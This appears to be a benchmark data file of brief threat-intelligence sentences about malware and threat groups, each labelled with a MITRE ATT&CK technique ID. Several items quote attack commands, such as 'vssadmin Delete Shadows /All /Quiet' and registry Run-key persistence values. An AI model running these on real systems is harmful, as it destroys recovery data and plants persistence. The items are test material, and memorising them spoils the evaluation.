Reaver drops and executes a malicious CPL file as its payload.,['T1218.002 - Signed Binary Proxy Execution: Control Panel'],eval_config
QakBot can use MSIExec to spawn multiple cmd.exe processes.,['T1218.007 - Signed Binary Proxy Execution: Msiexec'],eval_config
"Cobalt Group has used ""odbcconf"" to proxy the execution of malicious DLL files.",['T1218.008 - Signed Binary Proxy Execution: Odbcconf'],eval_config
Leviathan has used regsvr32 for execution.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],eval_config
More_eggs has used regsvr32.exe to execute the malicious DLL.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],eval_config
Squirrelwaffle has been executed using `regsvr32.exe`.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],eval_config
TA551 has used regsvr32.exe to load malicious DLLs.,['T1218.010 - Signed Binary Proxy Execution: Regsvr32'],eval_config
ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
APT32 malware has used rundll32.exe to execute an initial infection process.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
"Bisonal has used rundll32.exe to execute as part of the Registry Run key it adds: ""HKEY_CURRENT_USER \Software\Microsoft\Windows\CurrentVersion\Run\”vert” = “rundll32.exe c:\windows\temp\pvcu.dll , Qszdez”"".",['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
Heyoka Backdoor can use rundll32.exe to gain execution.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
JHUHUGIT is executed using rundll32.exe.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
Magic Hound has used rundll32.exe to execute MiniDump from comsvcs.dll when dumping LSASS memory.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
Prikormka uses rundll32.exe to load its DLL.,['T1218.011 - Signed Binary Proxy Execution: Rundll32'],eval_config
Hancitor has used verclsid.exe to download and execute a malicious script.,['T1218.012 - Verclsid'],eval_config
Carbanak has a plugin for VNC and Ammyy Admin Tool.,['T1219 - Remote Access Software'],eval_config
"EVILNUM has used the malware variant, TerraTV, to run a legitimate TeamViewer application to connect to compromrised machines.",['T1219 - Remote Access Software'],eval_config
Cobalt Group used msxsl.exe to bypass AppLocker and to invoke Jscript code from an XSL file.,['T1220 - XSL Script Processing'],eval_config
Inception has used decoy documents to load malicious remote payloads via HTTP.,['T1221 - Template Injection'],eval_config
CaddyWiper can modify ACL entries to take ownership of files.,['T1222.001 - File and Directory Permissions Modification: Windows File and Directory Permissions Modification'],eval_config
APT32's macOS backdoor changes the permission of the file it wants to execute to 755.,"['T1222.002 - File and Directory Permissions Modification: FreeBSD, Linux and Mac File and Directory Permissions Modification']",eval_config
BoomBox can check its current working directory and for the presence of a specific file and terminate if specific values are not found.,['T1480 - Execution Guardrails'],eval_config
NativeZone can check for the presence of KM.EkeyAlmaz1C.dll and will halt execution unless it is in the same directory as the rest of the malware's components.,['T1480 - Execution Guardrails'],eval_config
"InvisiMole can use Data Protection API to encrypt its components on the victim’s computer, to evade detection, and to make sure the payload can only be decrypted and loaded on one specific compromised computer.",['T1480.001 - Environmental Keying'],eval_config
"Chimera has ""nltest /domain_trusts"" to identify domain trust relationships.",['T1482 - Domain Trust Discovery'],eval_config
Empire has modules for enumerating domain trusts.,['T1482 - Domain Trust Discovery'],eval_config
"Wizard Spider has used ""AdFind.exe"" to collect information about Active Directory organizational units and trust objects.",['T1482 - Domain Trust Discovery'],eval_config
Indrik Spider has used Group Policy Objects to deploy batch scripts.,['T1484.001 - Domain Policy Modification: Group Policy Modification'],eval_config
UNC2452 changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.,['T1484.002 - Domain Trust Modification'],eval_config
Diavol can delete specified files from a targeted system.,['T1485 - Data Destruction'],eval_config
Gamaredon Group has used tools to delete files and folders from victims' desktops and profiles.,['T1485 - Data Destruction'],eval_config
LAPSUS$ has deleted the target's systems and resources both on-premises and in the cloud.,['T1485 - Data Destruction'],eval_config
Lazarus Group has used a custom secure delete function to overwrite file contents with data from heap memory.,['T1485 - Data Destruction'],eval_config
StoneDrill has a disk wiper module that targets files other than those in the Windows directory.,['T1485 - Data Destruction'],eval_config
FIN7 has encrypted virtual disk volumes on ESXi servers using a version of Darkside ransomware.,['T1486 - Data Encrypted for Impact'],eval_config
FIVEHANDS can use an embedded NTRU public key to encrypt data for ransom.,['T1486 - Data Encrypted for Impact'],eval_config
KillDisk has a ransomware component that encrypts files with an AES key that is also RSA-1028 encrypted.,['T1486 - Data Encrypted for Impact'],eval_config
NotPetya encrypts user files and disk structures like the MBR with 2048-bit RSA.,['T1486 - Data Encrypted for Impact'],eval_config
Pysa has used RSA and AES-CBC encryption algorithm to encrypt a list of targeted file extensions.,['T1486 - Data Encrypted for Impact'],eval_config
WastedLocker can encrypt data and leave a ransom note.,['T1486 - Data Encrypted for Impact'],eval_config
Avaddon looks for and attempts to stop database processes.,['T1489 - Service Stop'],eval_config
HermeticWiper has the ability to stop the Volume Shadow Copy service.,['T1489 - Service Stop'],eval_config
KillDisk terminates various processes to get the user to reboot the victim machine.,['T1489 - Service Stop'],eval_config
Pysa can stop services and processes.,['T1489 - Service Stop'],eval_config
"BitPaymer attempts to remove the backup shadow files from the host using ""vssadmin.exe Delete Shadows /All /Quiet"".",['T1490 - Inhibit System Recovery'],eval_config
"Clop can delete the shadow volumes with ""vssadmin Delete Shadows /all /quiet"" and can use bcdedit to disable recovery options.",['T1490 - Inhibit System Recovery'],eval_config
Conficker resets system restore points and deletes backup files.,['T1490 - Inhibit System Recovery'],eval_config
H1N1 disable recovery options and deletes shadow copies from the victim.,['T1490 - Inhibit System Recovery'],eval_config
"MegaCortex has deleted volume shadow copies using ""vssadmin.exe"".",['T1490 - Inhibit System Recovery'],eval_config
REvil can use vssadmin to delete volume shadow copies and bcdedit to disable recovery features.,['T1490 - Inhibit System Recovery'],eval_config
"Ragnar Locker can delete volume shadow copies using ""vssadmin delete shadows /all /quiet"".",['T1490 - Inhibit System Recovery'],eval_config
"TrickBot module ""Trickboot"" can write or erase the UEFI/BIOS firmware of a compromised device.",['T1495 - Firmware Corruption'],eval_config
Blue Mockingbird has used XMRIG to mine cryptocurrency on victim systems.,['T1496 - Resource Hijacking'],eval_config
Bisonal can check to determine if the compromised system is running on VMware.,['T1497 - Virtualization/Sandbox Evasion'],eval_config
Squirrelwaffle has contained a hardcoded list of IP addresses to block that belong to sandboxes and analysis platforms.,['T1497 - Virtualization/Sandbox Evasion'],eval_config
ObliqueRAT can halt execution if it identifies processes belonging to virtual machine software or analysis tools.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],eval_config
"OopsIE performs several anti-VM and sandbox checks on the victim's machine. One technique the group has used was to perform a WMI query ""SELECT * FROM MSAcpi_ThermalZoneTemperature"" to check the temperature to see if it’s running in a virtual environment.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],eval_config
"RogueRobin uses WMI to check BIOS version for VBOX, bochs, qemu, virtualbox, and vm to check for evidence that the script might be executing within an analysis environment.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],eval_config
Shark can stop execution if the screen width of the targeted machine is not over 600 pixels.,['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],eval_config
"SodaMaster can check for the presence of the Registry key ""HKEY_CLASSES_ROOT\\Applications\\VMwareHostOpen.exe"" before proceeding to its main functionality.",['T1497.001 - Virtualization/Sandbox Evasion: System Checks'],eval_config
Spark has used a splash screen to check whether an user actively clicks on the screen before running malicious code.,['T1497.002 - User Activity Based Checks'],eval_config
"Clop has used the ""sleep"" command to avoid sandbox detection.",['T1497.003 - Time Based Evasion'],eval_config
"DRATzarus can use the `GetTickCount` and `GetSystemTimeAsFileTime` API calls to measure function timing. DRATzarus can also remotely shut down into sleep mode under specific conditions to evade 
detection.",['T1497.003 - Time Based Evasion'],eval_config
EvilBunny has used time measurements from 3 different APIs before and after performing sleep operations to check and abort if the malware is running in a sandbox.,['T1497.003 - Time Based Evasion'],eval_config
Lokibot has performed a time-based anti-debug check before downloading its third stage.,['T1497.003 - Time Based Evasion'],eval_config
"In 2016, APT28 conducted a distributed denial of service (DDoS) attack against the World Anti-Doping Agency.",['T1498 - Network Denial of Service'],eval_config
Deep Panda uses Web shells on publicly accessible Web servers to access victim networks.,['T1505.003 - Server Software Component: Web Shell'],eval_config
"During Operation CuckooBees, the threat actors generated a web shell within a vulnerable Enterprise Resource Planning Web Application Server as a persistence mechanism.",['T1505.003 - Server Software Component: Web Shell'],eval_config
Volatile Cedar can inject web shell code into a server.,['T1505.003 - Server Software Component: Web Shell'],eval_config
DustySky lists all installed software for the infected machine.,['T1518 - Software Discovery'],eval_config
Operation Wocao has collected a list of installed software on the infected system.,['T1518 - Software Discovery'],eval_config
ShimRatReporter gathered a list of installed software on the infected host.,['T1518 - Software Discovery'],eval_config
SpicyOmelette can enumerate running software on a targeted system.,['T1518 - Software Discovery'],eval_config
Avenger has the ability to identify installed anti-virus products on a compromised host.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
BadPatch uses WMI to enumerate installed security products in the victim’s environment.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
Carberp has queried the infected system's registry searching for specific registry keys associated with antivirus products.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
Crimson contains a command to collect information about anti-virus software on the victim.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
DustySky checks for the existence of anti-virus.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
Ferocious has checked for AV software as part of its persistence process.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
Kasidet has the ability to identify any anti-virus installed on the infected system.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
Lizar can search for processes associated with an anti-virus product from list.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
Metamorfo collects a list of installed antivirus software from the victim’s system.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
RogueRobin enumerates running processes to search for Wireshark and Windows Sysinternals suite.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
StreamEx has the ability to scan for security tools such as firewalls and antivirus tools.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
Stuxnet enumerates the currently running processes related to a variety of security products.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
"TajMahal has the ability to identify which anti-virus products, firewalls, and anti-spyware products are in use.",['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
VERMIN uses WMI to check for anti-virus software installed on the system.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
ZxxZ can search a compromised host to determine if it is running Windows Defender or Kasperky antivirus.,['T1518.001 - Software Discovery: Security Software Discovery'],eval_config
AADInternals can steal users’ access tokens via phishing emails containing malicious links.,['T1528 - Steal Application Access Token'],eval_config
Trojan.Mebromi performs BIOS modification and can download and execute a file as well as protect itself from removal.,['T1542.001 - Pre-OS Boot: System Firmware'],eval_config
"Dok installs two LaunchAgents to redirect all network traffic with a randomly generated name for each plist file maintaining the format ""com.random.name.plist"".",['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
"OSX_OCEANLOTUS.D can create a persistence file in the folder ""/Library/LaunchAgents"".",['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
"ThiefQuest installs a launch item using an embedded encrypted launch agent property list template. The plist file is installed in the ""~/Library/LaunchAgents/"" folder and configured with the path to the persistent binary located in the ""~/Library/"" folder.",['T1543.001 - Create or Modify System Process: Launch Agent'],eval_config
Fysbis has established persistence using a systemd service.,['T1543.002 - Create or Modify System Process: SysV/Systemd Service'],eval_config
APT3 has a tool that creates a new service for persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
AppleJeus can install itself as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Carbanak malware installs itself as a service to provide persistence and SYSTEM privileges.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Cobalt Group has created new services to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Cobalt Strike can install a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Dtrack can add a service called WBService to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
"During Operation Honeybee, threat actors installed DLLs and backdoors as Windows services.",['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Gelsemium can drop itself in `C:\Windows\System32\spool\prtprocs\x64\winprint.dll` as an alternative Print Processor to be loaded automatically when the spoolsv Windows service starts.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
GoldenSpy has established persistence by running in the background as an autostart service.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
HermeticWiper can load drivers by creating a new service using the `CreateServiceW` API.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
One persistence mechanism used by CozyCar is to register itself as a Windows service.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
PipeMon can establish persistence by registering a malicious DLL as an alternative Print Processor which is loaded when the print spooler service starts.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
PoisonIvy creates a Registry subkey that registers a new service. PoisonIvy also creates a Registry entry modifying the Logical Disk Manager service to point to a malicious DLL dropped to disk.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
SILENTTRINITY can establish persistence by creating a new service.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
SysUpdate can create a service to establish persistence.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
TeamTNT has used malware that adds cryptocurrency miners as a service.,['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
"WannaCry creates the service ""mssecsvc2.0"" with the display name ""Microsoft Security Center (2.0) Service.""",['T1543.003 - Create or Modify System Process: Windows Service'],eval_config
Green Lambert can add a plist file in the `Library/LaunchDaemons` to establish persistence.,['T1543.004 - Create or Modify System Process: Launch Daemon'],eval_config
"LoudMiner adds plist files with the naming format ""com.[random_name].plist"" in the ""/Library/LaunchDaemons"" folder with the RunAtLoad and KeepAlive keys set to ""true"".",['T1543.004 - Create or Modify System Process: Launch Daemon'],eval_config
FIN8 has used WMI event subscriptions for persistence.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],eval_config
PoshC2 has the ability to persist on a system using WMI events.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],eval_config
RegDuke can persist using a WMI consumer that is launched every time a process named WINWORD.EXE is started.,['T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription'],eval_config
netsh can be used as a persistence proxy technique to execute a helper DLL when netsh.exe is executed.,['T1546.007 - Event Triggered Execution: Netsh Helper DLL'],eval_config
Axiom actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence.,['T1546.008 - Event Triggered Execution: Accessibility Features'],eval_config
Deep Panda has used the sticky-keys technique to bypass the RDP login screen on remote systems during intrusions.,['T1546.008 - Event Triggered Execution: Accessibility Features'],eval_config
Fox Kitten has used sticky keys to launch a command prompt.,['T1546.008 - Event Triggered Execution: Accessibility Features'],eval_config
FIN7 has used application shim databases for persistence.,['T1546.011 - Event Triggered Execution: Application Shimming'],eval_config
"SUNBURST created an Image File Execution Options (IFEO) Debugger registry value for the process ""dllhost.exe"" to trigger the installation of Cobalt Strike.",['T1546.012 - Event Triggered Execution: Image File Execution Options Injection'],eval_config
"BBSRAT has been seen persisting via COM hijacking through replacement of the COM object for MruPidlList ""{42aedc87-2188-41fd-b9a3-0c966feabec1}"" or Microsoft WBEM New Event Subsystem ""{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}"" depending on the system's CPU architecture.",['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],eval_config
Ferocious can use COM hijacking to establish persistence.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],eval_config
JHUHUGIT has used COM hijacking to establish persistence by hijacking a class named MMDeviceEnumerator and also by registering the payload as a Shell Icon Overlay handler COM object ({3543619C-D563-43f7-95EA-4DA7E1CC396A}).,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],eval_config
PcShare has created the `HKCU\\Software\\Classes\\CLSID\\{42aedc87-2188-41fd-b9a3-0c966feabec1}\\InprocServer32` Registry key for persistence.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],eval_config
Some variants of ADVSTORESHELL achieve persistence by registering the payload as a Shell Icon Overlay handler COM object.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],eval_config
WarzoneRAT  can perform COM hijacking by setting the path to itself to the `HKCU\Software\Classes\Folder\shell\open\command` key with a `DelegateExecute` parameter.,['T1546.015 - Event Triggered Execution: Component Object Model Hijacking'],eval_config
"During AppleJeus's installation process, it uses `postinstall` scripts to extract a hidden plist from the application's `/Resources` folder and execute the `plist` file as a Launch Daemon with elevated permissions.",['T1546.016 - Installer Packages'],eval_config
"Mis-Type has created registry keys for persistence, including `HKCU\Software\bkfouerioyou`, `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{6afa8072-b2b1-31a8-b5c1-{Unique Identifier}`, and `HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{3BF41072-B2B1-31A8-B5C1-{Unique Identifier}`.",['T1547 - Boot or Logon Autostart Execution'],eval_config
Carbanak stores a configuration files in the startup directory to automatically execute commands in order to persist across reboots.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
Comnie achieves persistence by adding a shortcut of itself to the startup path in the Registry.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"FIN7 malware has created Registry Run and RunOnce keys to establish persistence, and has also added items to the Startup folder.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
Flagpro has dropped an executable file to the startup directory.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
FlawedAmmyy has established persistence via the `HKCU\SOFTWARE\microsoft\windows\currentversion\run` registry key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
Gorgon Group malware can create a .lnk file and add a Registry Run key to establish persistence.,"['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification']",eval_config
IcedID has established persistence by creating a Registry run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"If establishing persistence by installation as a new service fails, one variant of Elise establishes persistence for the created .exe file by setting the following Registry key: ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svchost : %APPDATA%\Microsoft\Network\svchost.exe"". Other variants have set the following Registry keys for persistence: ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\imejp : [self]"" and ""HKCU\Software\Microsoft\Windows\CurrentVersion\Run\IAStorD"".",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
If the QuasarRAT client process does not have administrator privileges it will add a registry key to `HKCU\Software\Microsoft\Windows\CurrentVersion\Run` for persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
InvisiMole can place a lnk file in the Startup Folder to achieve persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
MoleNet can achieve persitence on the infected machine by setting the Registry run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
Molerats saved malicious files within the AppData and Startup folders to maintain persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"MuddyWater has added Registry Run key ""KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding"" to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"Mustang Panda has created the registry key ""HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\AdobelmdyU"" to maintain persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
NETWIRE creates a Registry start-up entry to establish persistence.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
Nebulae can achieve persistence through a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
Pisloader establishes persistence via a Registry Run key.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
PowerDuke achieves persistence by using various Registry Run keys.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"Ryuk has used the Windows command line to create a Registry entry under ""HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" to establish persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"SMOKEDHAM has used ""reg.exe"" to create a Registry Run key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
SharpStage has the ability to create persistence for the malware using the Registry autorun key and startup folder.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"Taidoor has modified the ""HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" key for persistence.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"The ""SCOUT"" variant of NETEAGLE achieves persistence by adding itself to the ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"" Registry key.",['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
Ursnif has used Registry Run keys to establish automatic execution at system startup.,['T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder'],eval_config
"Cannon adds the Registry key ""HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" to establish persistence.",['T1547.004 - Boot or Logon Autostart Execution: Winlogon Helper DLL'],eval_config
Lazarus Group has rebooted victim machines to establish persistence by installing a SSP DLL.,['T1547.005 - Boot or Logon Autostart Execution: Security Support Provider'],eval_config
Bazar can establish persistence by writing shortcuts to the Windows Startup folder.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
FELIXROOT creates a .LNK file for persistence.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
InvisiMole can use a .lnk shortcut for the Control Panel to establish persistence.,['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification'],eval_config
Green Lambert can add Login Items to establish persistence.,['T1547.015 - Boot or Logon Autostart Execution: Login Items'],eval_config
APT29 has bypassed UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
AutoIt backdoor attempts to escalate privileges by bypassing User Access Control.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
BRONZE BUTLER has used a Windows 10 specific tool and xxmm to bypass UAC for privilege escalation.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
Bad Rabbit has attempted to bypass UAC and gain elevated administrative privileges.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
BlackEnergy attempts to bypass default User Access Control (UAC) settings by exploiting a backward-compatibility setting found in Windows 7 and later.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
Downdelph bypasses UAC to escalate privileges by using a custom “RedirectEXE” shim database.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
Evilnum has used PowerShell to bypass UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
Gelsemium can bypass UAC to elevate process privileges on a compromised host.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
Lokibot has utilized multiple techniques to bypass UAC.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
Shamoon attempts to disable UAC remote restrictions by modifying the Registry.,['T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control'],eval_config
"Mimikatz's ""SEKURLSA::Pth"" module can impersonate a user, with only a password hash, to execute arbitrary commands.",['T1550.002 - Use Alternate Authentication Material: Pass the Hash'],eval_config
APT3 has a tool that can locate credentials in files on the file system such as those from Firefox or Chrome.,['T1552.001 - Unsecured Credentials: Credentials In Files'],eval_config
Emotet has been observed leveraging a module that retrieves passwords stored on a system for the current logged-on user.,['T1552.001 - Unsecured Credentials: Credentials In Files'],eval_config
"If an initial connectivity check fails, pngdowner attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access.",['T1552.001 - Unsecured Credentials: Credentials In Files'],eval_config
MuddyWater has run a tool that steals passwords saved in victim email.,['T1552.001 - Unsecured Credentials: Credentials In Files'],eval_config
PoshC2 contains modules for searching for passwords in local and remote files.,['T1552.001 - Unsecured Credentials: Credentials In Files'],eval_config
TA505 has used malware to gather credentials from FTP clients and Outlook.,['T1552.001 - Unsecured Credentials: Credentials In Files'],eval_config
AADInternals can gather encryption keys from Azure AD services such as ADSync and Active Directory Federated Services servers.,['T1552.004 - Unsecured Credentials: Private Keys'],eval_config
FoggyWeb can retrieve token signing certificates and token decryption certificates from a compromised AD FS server.,['T1552.004 - Unsecured Credentials: Private Keys'],eval_config
jRAT can steal keys for VPNs and cryptocurrency wallets.,['T1552.004 - Unsecured Credentials: Private Keys'],eval_config
SILENTTRINITY has a module that can extract cached GPP passwords.,['T1552.006 - Unsecured Credentials: Group Policy Preferences'],eval_config
"If running with elevated privileges, OSX/Shlayer has used the ""spctl"" command to disable Gatekeeper protection for a downloaded file. OSX/Shlayer can also leverage system links pointing to bash scripts in the downloaded DMG file to bypass Gatekeeper, a flaw patched in macOS 11.3 and later versions. OSX/Shlayer has been Notarized by Apple, resulting in successful passing of additional Gatekeeper checks.",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],eval_config
"MacMa has removed the `com.apple.quarantineattribute` from the dropped file, `$TMPDIR/airportpaird`.",['T1553.001 - Subvert Trust Controls: Gatekeeper Bypass'],eval_config
"For C0015, the threat actors used DLL files that had invalid certificates.",['T1553.002 - Code Signing'],eval_config
GALLIUM has used stolen certificates to sign its tools including those from Whizzimo LLC.,['T1553.002 - Code Signing'],eval_config
GreyEnergy digitally signs the malware with a code-signing certificate.,['T1553.002 - Code Signing'],eval_config
"Helminth samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.",['T1553.002 - Code Signing'],eval_config
LockerGoga has been signed with stolen certificates in order to make it look more legitimate.,['T1553.002 - Code Signing'],eval_config
Stuxnet used a digitally signed driver with a compromised Realtek certificate.,['T1553.002 - Code Signing'],eval_config
The HermeticWiper executable has been signed with a legitimate certificate issued to Hermetica Digital Ltd.,['T1553.002 - Code Signing'],eval_config
Pandora can use CVE-2017-15303 to disable Windows Driver Signature Enforcement (DSE) protection and load its driver.,['T1553.006 - Subvert Trust Controls: Code Signing Policy Modification'],eval_config
Turla has modified variables in kernel memory to turn off Driver Signature Enforcement after exploiting vulnerabilities that obtained kernel mode privileges.,['T1553.006 - Subvert Trust Controls: Code Signing Policy Modification'],eval_config
Ebury has been embedded into modified OpenSSH binaries to gain persistent access to SSH credential information.,['T1554 - Compromise Host Software Binary'],eval_config
Kessel has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.,['T1554 - Compromise Host Software Binary'],eval_config
APT29 used account credentials they obtained to attempt access to Group Managed Service Account (gMSA) passwords.,['T1555 - Credentials from Password Stores'],eval_config
HEXANE has run `cmdkey` on victim machines to identify stored credentials.,['T1555 - Credentials from Password Stores'],eval_config
"LaZagne can obtain credentials from databases, mail, and WiFi across multiple platforms.",['T1555 - Credentials from Password Stores'],eval_config
"PinchDuke steals credentials from compromised hosts. PinchDuke's credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by PinchDuke include ones associated with many sources such as The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, and Microsoft Outlook.",['T1555 - Credentials from Password Stores'],eval_config
QuasarRAT can obtain passwords from common FTP clients.,['T1555 - Credentials from Password Stores'],eval_config
"Green Lambert can use Keychain Services API functions to find and collect passwords, such as `SecKeychainFindInternetPassword` and `SecKeychainItemCopyAttributesAndData`.",['T1555.001 - Credentials from Password Stores: Keychain'],eval_config
iKitten collects the keychains on the system.,['T1555.001 - Credentials from Password Stores: Keychain'],eval_config
APT3 has used tools to dump passwords from browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],eval_config
Olympic Destroyer contains a module that tries to obtain stored credentials from web browsers.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],eval_config
SILENTTRINITY can collect clear text web credentials for Internet Explorer/Edge.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],eval_config
Zebrocy has the capability to upload dumper tools that extract credentials from web browsers and store them in database files.,['T1555.003 - Credentials from Password Stores: Credentials from Web Browsers'],eval_config
KGH_SPY can collect credentials from the Windows Credential Manager.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],eval_config
Mimikatz contains functionality to acquire credentials from the Windows Credential Manager.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],eval_config
PowerSploit contains a collection of Exfiltration modules that can harvest credentials from Windows vault credential objects.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],eval_config
SILENTTRINITY can gather Windows Vault credentials.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],eval_config
Stealth Falcon malware gathers passwords from the Windows Credential Vault.,['T1555.004 - Credentials from Password Stores: Windows Credential Manager'],eval_config
